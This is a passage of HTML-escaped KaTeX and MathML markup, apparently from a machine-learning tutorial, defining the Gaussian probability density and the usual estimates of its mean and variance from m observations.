style=&#34;height:0.4559em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;d&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, and the integral over the entire real line is 1.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Gaussian distribution&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;span class=&#34;katex-display&#34;&gt;&lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34; display=&#34;block&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mrow&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;msqrt&gt;&lt;mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mi&gt;π&lt;/mi&gt;&lt;/mrow&gt;&lt;/msqrt&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;msup&gt;&lt;mi&gt;e&lt;/mi&gt;&lt;mrow&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;μ&lt;/mi&gt;&lt;msup&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;msup&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;p(x)=\frac{1}{\sigma\sqrt{2\pi}}e^{-\frac{(x-\mu)^2}{2\sigma^2}}
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:2.2591em;vertical-align:-0.93em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.3214em;&#34;&gt;&lt;span style=&#34;top:-2.2028em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;σ&lt;/span&gt;&lt;span class=&#34;mord sqrt&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.9072em;&#34;&gt;&lt;span class=&#34;svg-align&#34; style=&#34;top:-3em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34; style=&#34;padding-left:0.833em;&#34;&gt;&lt;span class=&#34;mord&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;π&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-2.8672em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;hide-tail&#34; style=&#34;min-width:0.853em;height:1.08em;&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; width=&#34;400em&#34; height=&#34;1.08em&#34; viewBox=&#34;0 0 400000 1080&#34; preserveAspectRatio=&#34;xMinYMin slice&#34;&gt;&lt;path d=&#34;M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z&#34;/&gt;&lt;/svg&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1328em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.677em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.93em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.3291em;&#34;&gt;&lt;span style=&#34;top:-3.4534em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen nulldelimiter sizing reset-size3 size6&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.251em;&#34;&gt;&lt;span style=&#34;top:-2.5062em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;σ&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.9384em;&#34;&gt;&lt;span style=&#34;top:-2.9384em;margin-right:0.1em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2255em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line mtight&#34; style=&#34;border-bottom-width:0.049em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.5021em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;μ&lt;/span&gt;&lt;span class=&#34;mclose mtight&#34;&gt;&lt;span class=&#34;mclose mtight&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0484em;&#34;&gt;&lt;span style=&#34;top:-3.0484em;margin-right:0.1em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.4938em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter sizing reset-size3 size6&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The mean &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;μ&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;\mu&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.625em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;μ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; locates the centre. A larger standard deviation &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;\sigma&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;σ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; spreads the distribution out. For &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;m&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; observations the estimates used here are &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;μ&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mfrac&gt;&lt;msub&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;msup&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;\mu=\frac1m\sum_i x^{(i)}&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.625em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;μ&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.233em;vertical-align:-0.345em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8451em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.394em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.345em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop&#34;&gt;&lt;span class=&#34;mop op-symbol small-op&#34; style=&#34;position:relative;top:0em;&#34;&gt;∑&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.162em;&#34;&gt;&lt;span style=&#34;top:-2.4003em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2997em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.888em;&#34;&gt;&lt;span style=&#34;top:-3.063em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mclose mtight&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msup&gt;&lt;mi&gt;σ&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mfrac&gt;&lt;msub&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msup&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mrow&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/msup&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;μ&lt;/mi&gt;&lt;msup&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msup&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;\sigma^2=\frac1m\sum_i(x^{(i)}-\mu)^2&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8141em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;σ&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8141em;&#34;&gt;&lt;span style=&#34;top:-3.063em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.233em;vertical-align:-0.345em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8451em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.394em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.345em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop&#34;&gt;&lt;span class=&#34;mop op-symbol small-op&#34; style=&#34;position:relative;top:0em;&#34;&gt;∑&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.162em;&#34;&gt;&lt;span style=&#34;top:-2.4003em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2997em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.888em;&#34;&gt;&lt;span style=&#34;top:-3.063em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mclose mtight&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.0641em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;μ&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8141em;&#34;&gt;&lt;span style=&#34;top:-3.063em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord 